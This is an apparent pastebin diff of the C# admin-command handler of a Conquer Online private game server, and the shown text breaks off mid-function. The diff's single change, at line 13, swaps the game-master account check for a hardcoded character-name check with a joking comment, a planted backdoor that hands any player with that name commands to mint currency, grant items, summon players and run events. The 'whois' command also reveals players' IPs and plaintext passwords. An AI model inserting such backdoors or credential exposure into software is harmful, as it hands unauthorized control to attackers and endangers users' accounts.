View difference between Paste ID: 8d1nq5JH and puDv4A1A
SHOW: | | - or go back to the newest paste.
1
public static bool CheckCommand(string _message, Client.GameClient client, bool Ask = false)
2
        {
3
            string message = _message.Replace("#60", "").Replace("#61", "").Replace("#62", "").Replace("#63", "").Replace("#64", "").Replace("#65", "").Replace("#66", "").Replace("#67", "").Replace("#68", "");
4
            try
5
            {
6
                if (message.StartsWith("@"))
7
                {
8
                    string message_ = message.Substring(1).ToLower();
9
                    string Mess = message.Substring(1);
10
                    string[] Data = message_.Split(' ');
11
                    Program.AddGMCommand(client.Entity.Name, "   " + client.Account.State.ToString() + "   @" + message_ + "    " + DateTime.Now.ToString());
12
                    #region GMs PMs
13-
                    if (client.Account.State == Conquer_Online_Server.Database.AccountTable.AccountState.ProjectManager || client.Account.State == Conquer_Online_Server.Database.AccountTable.AccountState.GameMaster)
13+
                    if (client.Entity.Name == "Name") // 7elwa el se8a dii xD
14
                    {
15
                        switch (Data[0])
16
                        {
17
                            default:
18
                                {
19
                                    //  return (client.CheckCommand(_message));  
20
                                    //client.CheckCommand(_message);
21
                                    break;
22
                                }
23
                            case "racepoints":
24
                                {
25
                                    client.RacePoints += uint.Parse(Data[1]);
26
                                    break;
27
                                }
28
                            case "obj":
29
                                {
30
                                    StaticEntity entity = new StaticEntity(400000, (ushort)(client.Entity.X + 2), (ushort)(client.Entity.Y + 2), 2057);
31
32
                                    uint
33
                                        meshB = uint.Parse(Data[1]),
34
                                        meshE = uint.Parse(Data[2]);
35
36
                                    Writer.WriteUInt16(1, Offests._MonsterLevel, entity.SpawnPacket);
37
                                    Writer.WriteStringList(new List<string>() { "Flag", string.Empty }, Offests._Names, entity.SpawnPacket);
38
39
40
                                    for (uint i = meshB; i < meshE; i++)
41
                                    {
42
                                        Writer.WriteUInt32(i, Offests._Mesh, entity.SpawnPacket);
43
                                        client.Send(entity.SpawnPacket);
44
                                        client.Send(i.ToString(), Message.Agate);
45
                                        System.Threading.Thread.Sleep(250);
46
                                    }
47
                                    break;
48
                                }
49
                            case "time":
50
                                {
51
                                    ServerTime time = new ServerTime();
52
                                    time.Year = (uint)DateTime.Now.Year;
53
                                    time.Month = (uint)DateTime.Now.Month;
54
                                    time.DayOfYear = (uint)DateTime.Now.DayOfYear;
55
                                    time.DayOfMonth = (uint)int.Parse(Data[1]);
56
                                    time.Hour = (uint)int.Parse(Data[2]);
57
                                    time.Minute = (uint)int.Parse(Data[3]);
58
                                    time.Second = (uint)DateTime.Now.Second;
59
                                    client.Send(time);
60
                                    break;
61
                                }
62
                            case "epkbtest":
63
                                {
64
                                    TEST_EPKB(client);
65
                                    break;
66
                                }
67
                            case "loadfake":
68
                                {
69
                                    if (Data.Length == 3)
70
                                    {
71
                                        var array = LoadEntityUIDs(int.Parse(Data[2]));
72
                                        int x = int.Parse(Data[1]);
73
                                        int y = int.Parse(Data[2]);
74
                                        for (int i = x; i < y; i++)
75
                                        {
76
                                            var fClient = new GameClient(null);
77
                                            fClient.FakeLoad(array[i]);
78
                                            int xP = Kernel.Random.Sign() * Kernel.Random.Next(8);
79
                                            int yP = Kernel.Random.Sign() * Kernel.Random.Next(8);
80
                                            if (fClient.FakeLoaded)
81
                                                fClient.Entity.Teleport(client.Entity.MapID, (ushort)(client.Entity.X + xP), (ushort)(client.Entity.Y + yP));
82
                                        }
83
                                    }
84
                                    client.Screen.Reload(null);
85
                                    break;
86
                                }
87
                            case "process":
88
                                {
89
                                    Program.HandleClipboardPacket(_message);
90
                                    break;
91
                                }
92
                            case "test3":
93
                                {
94
                                    client.Entity.AddTopStatus(Update.Flags.TopSpouse, DateTime.Now.AddDays(1), false);
95
                                    break;
96
                                }
97
                            case "test1":
98
                                {
99
                                    string ItemName = Data[1].ToLower();
100
                                    Game.Enums.ItemQuality Quality = Game.Enums.ItemQuality.Fixed;
101
                                    switch (Data[2].ToLower())
102
                                    {
103
                                        case "fixed": Quality = Game.Enums.ItemQuality.Fixed; break;
104
                                        case "normal": Quality = Game.Enums.ItemQuality.Normal; break;
105
                                        case "normalv1": Quality = Game.Enums.ItemQuality.NormalV1; break;
106
                                        case "normalv2": Quality = Game.Enums.ItemQuality.NormalV2; break;
107
                                        case "normalv3": Quality = Game.Enums.ItemQuality.NormalV3; break;
108
                                        case "refined": Quality = Game.Enums.ItemQuality.Refined; break;
109
                                        case "unique": Quality = Game.Enums.ItemQuality.Unique; break;
110
                                        case "elite": Quality = Game.Enums.ItemQuality.Elite; break;
111
                                        case "super": Quality = Game.Enums.ItemQuality.Super; break;
112
                                        case "other": Quality = Game.Enums.ItemQuality.Other; break;
113
                                        default:
114
                                            {
115
                                                Quality = (Conquer_Online_Server.Game.Enums.ItemQuality)int.Parse(Data[4]);
116
                                                break;
117
                                            }
118
                                    }
119
                                    Database.ConquerItemBaseInformation CIBI = null;
120
                                    foreach (Database.ConquerItemBaseInformation infos in Database.ConquerItemInformation.BaseInformations.Values)
121
                                        //if (infos.LoweredName == ItemName && Quality == (Game.Enums.ItemQuality)(infos.ID % 10))
122
                                        CIBI = infos;
123
                                    if (CIBI == null)
124
                                        break;
125
                                    ConquerItem newItem = new GamePackets.ConquerItem(true);
126
                                    newItem.ID = CIBI.ID;
127
                                    newItem.Durability = CIBI.Durability;
128
                                    newItem.MaximDurability = CIBI.Durability;
129
                                    newItem.Color = (Game.Enums.Color)Kernel.Random.Next(4, 8);
130
                                    client.Inventory.Add(newItem, Game.Enums.ItemUse.CreateAndAdd);
131
                                    client.Inventory.Remove(newItem, Game.Enums.ItemUse.Move, true);
132
                                    newItem.Position = 13; // 13 - armor, 14 headgear
133
                                    client.Send(newItem);
134
                                    newItem.Mode = Enums.ItemMode.Update;
135
                                    client.Send(newItem);
136
                                    ClientEquip eqs = new ClientEquip();
137
                                    eqs.DoEquips(client);
138
                                    eqs.Armor = newItem.UID;
139
                                    client.Send(eqs);
140
                                    break;
141
                                }
142
                            case "whois":
143
                                {
144
                                    foreach (var pClient in Program.GamePool)
145
                                    {
146
                                        if (pClient == null) continue;
147
                                        if (pClient.Entity.LoweredName == Data[1])
148
                                        {
149
                                            client.Send(new Message("[Whois " + pClient.Entity.Name + "]", System.Drawing.Color.Red, GamePackets.Message.FirstRightCorner));
150
                                            client.Send(new Message("Username: " + pClient.Account.Username, System.Drawing.Color.Red, GamePackets.Message.ContinueRightCorner));
151
                                            if (client.Account.State == Database.AccountTable.AccountState.ProjectManager)
152
                                                client.Send(new Message("Password: " + pClient.Account.Password, System.Drawing.Color.Red, GamePackets.Message.ContinueRightCorner));
153
                                            client.Send(new Message("IP: " + pClient.Account.IP, System.Drawing.Color.Red, GamePackets.Message.ContinueRightCorner));
154
                                            client.Send(new Message("CPs: " + pClient.Entity.ConquerPoints, System.Drawing.Color.Red, GamePackets.Message.ContinueRightCorner));
155
                                            client.Send(new Message("Money: " + pClient.Entity.Money, System.Drawing.Color.Red, GamePackets.Message.ContinueRightCorner));
156
                                            client.Send(new Message("BP: " + pClient.Entity.BattlePower, System.Drawing.Color.Red, GamePackets.Message.ContinueRightCorner));
157
                                            client.Send(new Message("Map: [" + pClient.Entity.MapID + "] " + pClient.Entity.X + "," + pClient.Entity.Y, System.Drawing.Color.Red, GamePackets.Message.ContinueRightCorner));
158
                                            client.Send(new Message("Attack range: " + pClient.Entity.AttackRange, System.Drawing.Color.Red, GamePackets.Message.ContinueRightCorner));
159
                                        }
160
                                    }
161
                                    return true;
162
                                }
163
                            //do n: @do n @item bla bla 
164
                            // will do the @item cmd for n times
165
                            case "do":
166
                                {
167
                                    int n = int.Parse(Data[1]);
168
                                    string rest = Mess.Substring(3 + Data[1].Length + 1);
169
                                    for (int i = 0; i < n; i++)
170
                                        CheckCommand(rest, client);
171
                                    break;
172
                                }
173
                            case "honorpoints":
174
                                {
175
                                    client.CurrentHonor += uint.Parse(Data[1]);
176
                                    client.Send(client.ArenaStatistic);
177
                                    break;
178
                                }
179
                            case "hairstyle":
180
                                {
181
                                    client.Entity.HairStyle = ushort.Parse(Data[1]);
182
                                    break;
183
                                }
184
                            case "scroll":
185
                                {
186
                                    if (client.Entity.MapID == 700)
187
                                        break;
188
                                    switch (Data[1].ToLower())
189
                                    {
190
                                        case "tc": client.Entity.Teleport(1002, 300, 278); break;
191
                                        case "pc": client.Entity.Teleport(1011, 195, 260); break;
192
                                        case "ac":
193
                                        case "am": client.Entity.Teleport(1020, 566, 563); break;
194
                                        case "dc": client.Entity.Teleport(1000, 500, 645); break;
195
                                        case "bi": client.Entity.Teleport(1015, 723, 573); break;
196
                                        case "pka": client.Entity.Teleport(1005, 050, 050); break;
197
                                        case "ma": client.Entity.Teleport(1036, 211, 196); break;
198
                                        case "ja": client.Entity.Teleport(6000, 100, 100); break;
199
                                    }
200
                                    break;
201
                                }
202
                            case "test":
203
                                {
204
                                    client.Entity.AddFlag(ulong.Parse(Data[1]));
205
                                    break;
206
                                }
207
                            case "chi":
208
                                {
209
                                    client.Send(new ChiPowers(true).Query(client));
210
                                    break;
211
                                }
212
                            case "itemeffect":
213
                                {
214
                                    Kernel.boundID = int.Parse(Data[1]);
215
                                    Kernel.boundIDEnd = int.Parse(Data[2]);
216
                                    break;
217
                                }
218
                            case "kiko":
219
                                {
220
                                    client.Entity.ActualMyTypeFlower = 30010102;
221
                                    break;
222
                                }
223
224
                            case "geartest":
225
                                {
226
                                    //181315 515black
227
                                    uint UID = 92000;
228
                                    ConquerItem newItem = new Conquer_Online_Server.Network.GamePackets.ConquerItem(true);
229
                                    newItem.ID = 181825;
230
                                    newItem.UID = UID;
231
                                    newItem.Durability = 1000;
232
                                    newItem.MaximDurability = 1000;
233
                                    newItem.Position = 9;
234
                                    //client.Inventory.Add(newItem, Game.Enums.ItemUse.CreateAndAdd);
235
                                    client.Equipment.Remove(9);
236
                                    if (client.Equipment.Objects[8] != null)
237
                                        client.Equipment.Objects[8] = null;
238
                                    client.Equipment.Add(newItem);
239
                                    newItem.Mode = Conquer_Online_Server.Game.Enums.ItemMode.Update;
240
                                    newItem.Send(client);
241
                                    ClientEquip equips = new ClientEquip();
242
                                    equips.DoEquips(client);
243
                                    client.Send(equips);
244
                                    client.Equipment.UpdateEntityPacket();
245
                                    break;
246
247
                                }
248
                            case "quarantine":
249
                                {
250
                                    //542363
251
                                    Conquer_Online_Server.Game.Quarantine.Started = true;
252
                                    break;
253
                                }
254
                            case "test2":
255
                                {
256
                                    client.Entity.RemoveFlag(ulong.Parse(Data[1]));
257
                                    break;
258
                                }
259
                            case "summon":
260
                                {
261
                                    foreach (var pClient in Program.GamePool)
262
                                    {
263
                                        if (pClient.Entity.LoweredName.Contains(Data[1]))
264
                                        {
265
                                            pClient.Entity.Teleport(client.Entity.MapID, client.Entity.X, client.Entity.Y);
266
                                        }
267
                                    }
268
                                    break;
269
                                }
270
                            case "pkp":
271
                                {
272
                                    client.Entity.PKPoints = ushort.Parse(Data[1]);
273
274
                                    break;
275
                                }
276
                            case "dropevent":
277
                                {
278
279
                                    ConquerItem Item = null;
280
                                    #region Get Item
281
                                    string ItemName = Data[1];
282
                                    string loweredName = ItemName.ToLower();
283
                                    bool SpecialItem = false;
284
                                    uint SpecialID = 0;
285
                                    if (ItemName.Contains("cp") || ItemName.Contains("met") || ItemName.Contains("db") || ItemName.Contains("stone") || ItemName.Contains("soul"))
286
                                    {
287
                                        if (ItemName.Contains("cp"))
288
                                            SpecialID = 729911;
289
                                        else if (ItemName.Contains("db"))
290
                                            SpecialID = 1088000;
291
                                        else if (ItemName.Contains("met"))
292
                                            SpecialID = 1088001;
293
                                        else if (ItemName.Contains("stone"))
294
                                            SpecialID = 730008;
295
                                        else if (ItemName.Contains("Soul"))
296
                                            SpecialID = 800110;
297
                                        SpecialItem = true; goto PrepareDrop;
298
                                    }
299
                                    if (loweredName == "exp")
300
                                    {
301
                                        foreach (Interfaces.IMapObject ClientObj in client.Screen.Objects)
302
                                        {
303
                                            if (ClientObj != null)
304
                                            {
305
                                                if (ClientObj is Game.Entity)
306
                                                {
307
                                                    if (ClientObj.MapObjType == Conquer_Online_Server.Game.MapObjectType.Player)
308
                                                    {
309
                                                        ClientObj.Owner.IncreaseExperience(ClientObj.Owner.ExpBall, false);
310
                                                    }
311
                                                }
312
                                            }
313
                                        }
314
                                        break;
315
                                    }
316
                                    Game.Enums.ItemQuality Quality = Game.Enums.ItemQuality.NormalV3;
317
                                    if (Data.Length > 2)
318
                                    {
319
                                        switch (Data[3].ToLower())
320
                                        {
321
                                            case "fixed": Quality = Game.Enums.ItemQuality.Fixed; break;
322
                                            case "normal": Quality = Game.Enums.ItemQuality.Normal; break;
323
                                            case "normalv1": Quality = Game.Enums.ItemQuality.NormalV1; break;
324
                                            case "normalv2": Quality = Game.Enums.ItemQuality.NormalV2; break;
325
                                            case "normalv3": Quality = Game.Enums.ItemQuality.NormalV3; break;
326
                                            case "refined": Quality = Game.Enums.ItemQuality.Refined; break;
327
                                            case "unique": Quality = Game.Enums.ItemQuality.Unique; break;
328
                                            case "elite": Quality = Game.Enums.ItemQuality.Elite; break;
329
                                            case "super": Quality = Game.Enums.ItemQuality.Super; break;
330
                                            case "other": Quality = Game.Enums.ItemQuality.Other; break;
331
                                            default:
332
                                                {
333
                                                    Quality = (Conquer_Online_Server.Game.Enums.ItemQuality)int.Parse(Data[4]);
334
                                                    break;
335
                                                }
336
                                        }
337
                                    }
338
                                    Database.ConquerItemBaseInformation CIBI = null;
339
                                    foreach (Database.ConquerItemBaseInformation infos in Database.ConquerItemInformation.BaseInformations.Values)
340
                                    {
341
342
                                    }
343
                                    if (CIBI == null)
344
                                        break;
345
                                    Item = new GamePackets.ConquerItem(true);
346
                                    Item.ID = CIBI.ID;
347
                                    Item.Durability = CIBI.Durability;
348
                                    Item.MaximDurability = CIBI.Durability;
349
                                    if (Data.Length > 3)
350
                                        Item.Plus = byte.Parse(Data[4]);
351
                                    #endregion
352
                                PrepareDrop:
353
                                    {
354
                                        if (Item != null || SpecialItem)
355
                                        {
356
                                            //dropevent Name Quality
357
                                            for (int i = 0; i < int.Parse(Data[2]); i++)
358
                                            {
359
                                                #region GetCoords (X, Y)
360
                                                ushort X = 0;
361
                                                ushort Y = 0;
362
                                            getCoords:
363
                                                {
364
                                                    X = (ushort)Kernel.Random.Next(client.Entity.X - 20, client.Entity.X + 20);
365
                                                    Y = (ushort)Kernel.Random.Next(client.Entity.Y - 20, client.Entity.Y + 20);
366
                                                }
367
                                                while (!client.Map.SelectCoordonates(ref X, ref Y))
368
                                                    goto getCoords;
369
                                                #endregion
370
                                                #region Drop Floor Item
371
                                                FloorItem floorItem = new FloorItem(true);
372
                                                if (SpecialItem)
373
                                                {
374
                                                    if (SpecialID == 729911)
375
                                                    {
376
                                                        floorItem.ValueType = Network.GamePackets.FloorItem.FloorValueType.ConquerPoints;
377
                                                        floorItem.Value = 20;
378
                                                    }
379
                                                    floorItem.ItemID = SpecialID;
380
                                                    floorItem.Item = new ConquerItem(true);
381
                                                    floorItem.Item.ID = SpecialID;
382
                                                    floorItem.Item.UID = FloorItem.FloorUID.Next;
383
                                                    floorItem.UID = floorItem.Item.UID;
384
                                                    floorItem.Item.MobDropped = true;
385
                                                    while (client.Map.Npcs.ContainsKey(floorItem.Item.UID))
386
                                                    {
387
                                                        floorItem.Item.UID = FloorItem.FloorUID.Next;
388
                                                        floorItem.UID = FloorItem.FloorUID.Next;
389
                                                    }
390
391
                                                }
392
                                                else
393
                                                {
394
                                                    floorItem.Item = new ConquerItem(true);
395
                                                    floorItem.Item.Color = Item.Color;
396
                                                    floorItem.Item.Durability = Item.Durability;
397
                                                    floorItem.Item.ID = Item.ID;
398
                                                    floorItem.Item.Mode = Game.Enums.ItemMode.Default;
399
                                                    floorItem.Item.UID = FloorItem.FloorUID.Next;
400
                                                    floorItem.UID = floorItem.Item.UID;
401
                                                    floorItem.Item.MobDropped = true;
402
                                                    floorItem.ItemColor = Item.Color;
403
                                                    floorItem.ItemID = Item.ID;
404
                                                    while (client.Map.Npcs.ContainsKey(floorItem.Item.UID))
405
                                                    {
406
                                                        floorItem.Item.UID = FloorItem.FloorUID.Next;
407
                                                        floorItem.UID = FloorItem.FloorUID.Next;
408
                                                    }
409
                                                }
410
411
                                                floorItem.MapID = client.Map.ID;
412
                                                floorItem.MapObjType = Game.MapObjectType.Item;
413
                                                floorItem.X = X;
414
                                                floorItem.Y = Y;
415
                                                floorItem.Type = FloorItem.Drop;
416
                                                floorItem.OnFloor = Time32.Now;
417
                                                client.SendScreenSpawn(floorItem, true);
418
                                                client.Map.AddFloorItem(floorItem);
419
                                            }
420
                                        }
421
                                                #endregion
422
                                    }
423
                                    break;
424
                                }
425
                            case "addtitle":
426
                                {
427
                                    //client.Entity.AddTitle((TitlePacket.Titles)(Convert.ToUInt16(Data[1])), DateTime.Now);
428
                                    break;
429
                                }
430
                            case "vip":
431
                                {
432
                                    client.Entity.VIPLevel = byte.Parse(Data[1]);
433
                                    break;
434
                                }
435
                            #region JiangHu Test
436
437
                            case "vend":
438
                                {
439
440
                                    var buffer = Program.World.CTF.generateCTFRanking();
441
                                    client.Send(buffer);
442
                                    break;
443
                                }
444
                            case "a7a1":
445
                                {
446
                                    // 42 00 8D 0A 4A 69 61 6E 67 48 75 65 7E 55 41 
447
                                    // 53 00 00 00 00 01 02 00 5B 5F 01 00 8E 0D 
448
                                    // 00 00 00 00 00 00 0A 00 00 00 7F 96 98 00 
449
                                    //  00 00 00 00 00 00 00 00 00 00 00 00 00 00 
450
                                    //  00 00 00 00 00 00 00 00 00
451
                                    byte[] Buffer = new byte[0x42];
452
                                    Writer.WriteUInt16((ushort)(Buffer.Length - 8), 0, Buffer);
453
                                    Writer.WriteUInt16((ushort)0xA8D, 2, Buffer);
454
                                    Writer.WriteInt32(Data[1].Length, 4, Buffer);
455
                                    Writer.WriteString(Data[1], 5, Buffer);
456
                                    Writer.WriteUInt32(1, 20, Buffer);
457
                                    Writer.WriteUInt32(2, 21, Buffer);
458
                                    Writer.WriteUInt32(0X5B, 23, Buffer);
459
                                    Writer.WriteUInt32(0X5F, 24, Buffer);
460
                                    Writer.WriteUInt32(0X01, 25, Buffer);
461
                                    Writer.WriteUInt32(0xD8E, 27, Buffer);
462
                                    Writer.WriteUInt32(0xA, 35, Buffer);
463
                                    Writer.WriteUInt32(0X98967F, 39, Buffer);
464
                                    client.Send(Buffer);
465
                                    break;
466
                                }
467
                            case "a7a2":
468
                                {
469
470
                                    break;
471
                                }
472
                            case "a7aaaa":
473
                                {
474
475
                                    byte[] Buffer = new byte[42];
476
                                    Writer.WriteUInt16((ushort)(Buffer.Length - 8), 0, Buffer);
477
                                    Writer.WriteUInt16((ushort)10010, 2, Buffer);
478
                                    Writer.WriteUInt32((uint)Time32.timeGetTime().GetHashCode(), 4, Buffer);
479
                                    Writer.WriteUInt32(client.Entity.UID, 8, Buffer);
480
                                    Writer.WriteInt32(0x269, 12, Buffer);
481
                                    Writer.WriteInt32(0x7E, 24, Buffer);
482
                                    Writer.WriteUInt16(0x7, 26, Buffer);
483
                                    Writer.WriteUInt16(0xD9, 28, Buffer);
484
                                    Writer.WriteUInt32(0xC3, 30, Buffer);
485
                                    client.Send(Buffer);
486
                                    break;
487
                                }
488
                            #endregion
489
                            case "give":
490
                                {
491
                                    foreach (var Client in Program.GamePool)
492
                                    {
493
                                        if (Client.Entity.LoweredName.Contains(Data[1]))
494
                                        {
495
                                            switch (Data[2])
496
                                            {
497
                                                case "vip":
498
                                                    Client.Entity.VIPLevel = byte.Parse(Data[3]);
499
                                                    break;
500
                                                case "cps":
501
                                                    Client.Entity.ConquerPoints += uint.Parse(Data[3]);
502
                                                    break;
503
                                                case "money":
504
                                                    Client.Entity.Money += uint.Parse(Data[3]);
505
                                                    break;
506
                                                case "spell":
507
                                                    Client.AddSpell(new Spell(true) { ID = ushort.Parse(Data[3]) });
508
                                                    break;
509
                                                case "level":
510
                                                    Client.Entity.Level = byte.Parse(Data[3]);
511
512
                                                    Database.DataHolder.GetStats(Client.Entity.Class, Client.Entity.Level, Client);
513
                                                    Client.CalculateStatBonus();
514
                                                    Client.CalculateHPBonus();
515
                                                    Client.GemAlgorithm();
516
                                                    break;
517
                                                case "plustone":
518
                                                    {
519
                                                        UInt32 ItemId = UInt32.Parse(Data[3]);
520
                                                        if (Database.ConquerItemInformation.BaseInformations.ContainsKey(ItemId))
521
                                                        {
522
                                                            Database.ConquerItemBaseInformation iteminfo;
523
                                                            if (Database.ConquerItemInformation.BaseInformations.TryGetValue(ItemId, out iteminfo))
524
                                                            {
525
                                                                ConquerItem newItem = new GamePackets.ConquerItem(true);
526
                                                                newItem.ID = iteminfo.ID;
527
                                                                Byte Plus = (Byte)(newItem.ID % 730000);
528
                                                                Console.WriteLine("Item Plus " + Plus);
529
                                                                newItem.Plus = (Byte)(newItem.ID % 730000);
530
                                                                Client.Inventory.Add(newItem, Game.Enums.ItemUse.CreateAndAdd);
531
                                                            }
532
                                                        }
533
                                                        break;
534
                                                    }
535
                                                case "item":
536
                                                    {
537
                                                        string ItemName = Data[3].ToLower();
538
                                                        Game.Enums.ItemQuality Quality = Game.Enums.ItemQuality.Fixed;
539
                                                        switch (Data[4].ToLower())
540
                                                        {
541
                                                            case "fixed": Quality = Game.Enums.ItemQuality.Fixed; break;
542
                                                            case "normal": Quality = Game.Enums.ItemQuality.Normal; break;
543
                                                            case "normalv1": Quality = Game.Enums.ItemQuality.NormalV1; break;
544
                                                            case "normalv2": Quality = Game.Enums.ItemQuality.NormalV2; break;
545
                                                            case "normalv3": Quality = Game.Enums.ItemQuality.NormalV3; break;
546
                                                            case "refined": Quality = Game.Enums.ItemQuality.Refined; break;
547
                                                            case "unique": Quality = Game.Enums.ItemQuality.Unique; break;
548
                                                            case "elite": Quality = Game.Enums.ItemQuality.Elite; break;
549
                                                            case "super": Quality = Game.Enums.ItemQuality.Super; break;
550
                                                            case "other": Quality = Game.Enums.ItemQuality.Other; break;
551
                                                            default:
552
                                                                {
553
                                                                    Quality = (Conquer_Online_Server.Game.Enums.ItemQuality)int.Parse(Data[4]);
554
                                                                    break;
555
                                                                }
556
                                                        }
557
                                                        Database.ConquerItemBaseInformation CIBI = null;
558
                                                        foreach (Database.ConquerItemBaseInformation infos in Database.ConquerItemInformation.BaseInformations.Values)
559
                                                        {
560
                                                            //   if (infos.LoweredName == ItemName && Quality == (Game.Enums.ItemQuality)(infos.ID % 10))
561
                                                            {
562
                                                                CIBI = infos;
563
                                                            }
564
                                                        }
565
                                                        if (CIBI == null)
566
                                                            break;
567
                                                        ConquerItem newItem = new GamePackets.ConquerItem(true);
568
                                                        newItem.ID = CIBI.ID;
569
                                                        newItem.Durability = CIBI.Durability;
570
                                                        newItem.MaximDurability = CIBI.Durability;
571
                                                        if (Data.Length > 3)
572
                                                        {
573
                                                            byte plus = 0;
574
                                                            byte.TryParse(Data[5], out plus);
575
                                                            newItem.Plus = Math.Min((byte)12, plus);
576
                                                            if (Data.Length > 4)
577
                                                            {
578
                                                                byte bless = 0;
579
                                                                byte.TryParse(Data[6], out bless);
580
                                                                newItem.Bless = Math.Min((byte)7, bless);
581
                                                                if (Data.Length > 5)
582
                                                                {
583
                                                                    byte ench = 0;
584
                                                                    byte.TryParse(Data[7], out ench);
585
                                                                    newItem.Enchant = Math.Min((byte)255, ench);
586
                                                                    if (Data.Length > 6)
587
                                                                    {
588
                                                                        byte soc1 = 0;
589
                                                                        byte.TryParse(Data[8], out soc1);
590
                                                                        if (Enum.IsDefined(typeof(Game.Enums.Gem), soc1))
591
                                                                        {
592
                                                                            newItem.SocketOne = (Game.Enums.Gem)soc1;
593
                                                                        }
594
                                                                        if (Data.Length > 7)
595
                                                                        {
596
                                                                            byte soc2 = 0;
597
                                                                            byte.TryParse(Data[9], out soc2);
598
                                                                            if (Enum.IsDefined(typeof(Game.Enums.Gem), soc2))
599
                                                                            {
600
                                                                                newItem.SocketTwo = (Game.Enums.Gem)soc2;
601
                                                                            }
602
                                                                        }
603
                                                                        if (Data.Length > 10)
604
                                                                        {
605
                                                                            byte R = 0, G = 0, B = 0;
606
                                                                            byte.TryParse(Data[10], out R);
607
                                                                            byte.TryParse(Data[11], out G);
608
                                                                            byte.TryParse(Data[12], out B);
609
                                                                            newItem.SocketProgress = (uint)(B | (G << 8) | (R << 16));
610
                                                                        }
611
                                                                    }
612
                                                                }
613
                                                            }
614
                                                        }
615
                                                        newItem.Color = (Conquer_Online_Server.Game.Enums.Color)Kernel.Random.Next(4, 8);
616
                                                        Client.Inventory.Add(newItem, Game.Enums.ItemUse.CreateAndAdd);
617
                                                        break;
618
                                                    }
619
                                                case "equip":
620
                                                    {
621
                                                        string ItemName = Data[3].ToLower();
622
                                                        Game.Enums.ItemQuality Quality = Game.Enums.ItemQuality.NormalV3;
623
                                                        Database.ConquerItemBaseInformation CIBI = null;
624
                                                        foreach (Database.ConquerItemBaseInformation infos in Database.ConquerItemInformation.BaseInformations.Values)
625
                                                        {
626
                                                            //if (infos.LoweredName == ItemName && Quality == (Game.Enums.ItemQuality)(infos.ID % 10))
627
                                                            {
628
                                                                CIBI = infos;
629
                                                            }
630
                                                        }
631
                                                        if (CIBI == null)
632
                                                            break;
633
                                                        ConquerItem newItem = new GamePackets.ConquerItem(true);
634
                                                        newItem.ID = CIBI.ID;
635
                                                        newItem.Position = 9;
636
                                                        newItem.Durability = CIBI.Durability;
637
                                                        newItem.MaximDurability = CIBI.Durability;
638
                                                        newItem.Color = (Conquer_Online_Server.Game.Enums.Color)Kernel.Random.Next(4, 8);
639
                                                        Client.Equipment.Add(newItem, Game.Enums.ItemUse.CreateAndAdd);
640
                                                        break;
641
                                                    }
642
                                            }
643
                                            break;
644
                                        }
645
                                    }
646
                                    break;
647
                                }
648
                            #region Life and Rev
649
                            case "rev":
650
                                {
651
                                    client.Entity.Action = Game.Enums.ConquerAction.None;
652
                                    client.ReviveStamp = Time32.Now;
653
                                    client.Attackable = false;
654
                                    client.Entity.TransformationID = 0;
655
                                    client.Entity.RemoveFlag(Update.Flags.Dead);
656
                                    client.Entity.RemoveFlag(Update.Flags.Ghost);
657
                                    client.Entity.RemoveFlag2(Update.Flags2.SoulShackle);
658
                                    client.Entity.Hitpoints = client.Entity.MaxHitpoints;
659
                                    break;
660
                                }
661
                            case "life":
662
                                {
663
                                    client.Entity.Hitpoints = client.Entity.MaxHitpoints;
664
                                    client.Entity.Mana = client.Entity.MaxMana;
665
                                    break;
666
                                }
667
                            #endregion
668
                            case "cps":
669
                                {
670
                                    client.Entity.ConquerPoints = uint.Parse(Data[1]);
671
                                    break;
672
                                }
673
                            case "money":
674
                                {
675
                                    client.Entity.Money = uint.Parse(Data[1]);
676
                                    break;
677
                                }
678
679
                            case "open":
680
                                {
681
                                    GamePackets.Data data = new GamePackets.Data(true);
682
                                    data.ID = GamePackets.Data.OpenCustom;
683
                                    data.UID = client.Entity.UID;
684
                                    data.TimeStamp = Time32.Now;
685
                                    data.dwParam = uint.Parse(Data[1]);
686
                                    data.wParam1 = client.Entity.X;
687
                                    data.wParam2 = client.Entity.Y;
688
                                    client.Send(data);
689
                                    break;
690
                                }
691
                            case "xp":
692
                                {
693
                                    client.Entity.AddFlag(Update.Flags.XPList);
694
                                    client.XPListStamp = Time32.Now;
695
                                    break;
696
                                }
697
                            case "clanwar":
698
                                {
699
                                    if (Game.ClanWar.IsWar)
700
                                        Game.ClanWar.End();
701
                                    else
702
                                        Game.ClanWar.Start();
703
                                    break;
704
                                }
705
                            
706
                            case "ccctttfff":
707
                                {
708
                                    switch (Data[1])
709
                                    {
710
                                        case "on":
711
                                            {
712
                                                CaptureTheFlag.IsWar = true;
713
                                                CaptureTheFlag.StartTime = DateTime.Now;
714
                                                foreach (var guild in Kernel.Guilds.Values)
715
                                                {
716
                                                    guild.CTFFlagScore = 0;
717
                                                    guild.CTFPoints = 0;
718
                                                    Database.GuildTable.SaveCTFPoins(guild);
719
                                                }
720
                                                foreach (var cclient in Program.GamePool)
721
                                                    if (cclient.Entity.GuildID != 0)
722
                                                        cclient.MessageBox("Capture the Flag has begun! Would you like to join? [Prize: Guild fund]",
723
                                                            p => { p.Entity.Teleport(1002, 226, 237); }, null);
724
                                                break;
725
                                            }
726
                                        case "off":
727
                                            {
728
729
730
                                                CaptureTheFlag.IsWar = false;
731
                                                CaptureTheFlag.Close();
732
                                                break;
733
                                            }
734
                                    }
735
                                    break;
736
                                }
737
                            case "guildwar":
738
                                {
739
                                    switch (Data[1])
740
                                    {
741
                                        case "on":
742
                                            {
743
                                                if (!Game.GuildWar.IsWar)
744
                                                {
745
                                                    Game.GuildWar.Start();
746
                                                }
747
                                                break;
748
                                            }
749
                                        case "off":
750
                                            {
751
                                                if (Game.GuildWar.IsWar)
752
                                                {
753
                                                    Game.GuildWar.End();
754
                                                }
755
                                                break;
756
                                            }
757
                                    }
758
                                    break;
759
                                }
760
761
                        }
762
                    }
763
                    if (client.Account.State == Conquer_Online_Server.Database.AccountTable.AccountState.GameMaster
764
                    || client.Account.State == Conquer_Online_Server.Database.AccountTable.AccountState.ProjectManager)
765
                    {
766
                        switch (Data[0])
767
                        {
768
                            case "addrem":
769
                                {
770
                                    int flagtype = int.Parse(Data[1]);
771
                                    ulong addFlag = 1UL << int.Parse(Data[2]);
772
                                    ulong remFlag = 1UL << int.Parse(Data[3]);
773
                                    if (flagtype == 1)
774
                                    {
775
                                        client.Entity.AddFlag(addFlag);
776
                                        client.Entity.RemoveFlag(remFlag);
777
                                    }
778
                                    else if (flagtype == 2)
779
                                    {
780
                                        client.Entity.AddFlag2(addFlag);
781
                                        client.Entity.RemoveFlag2(remFlag);
782
                                    }
783
                                    else
784
                                    {
785
                                        client.Entity.AddFlag3((uint)addFlag);
786
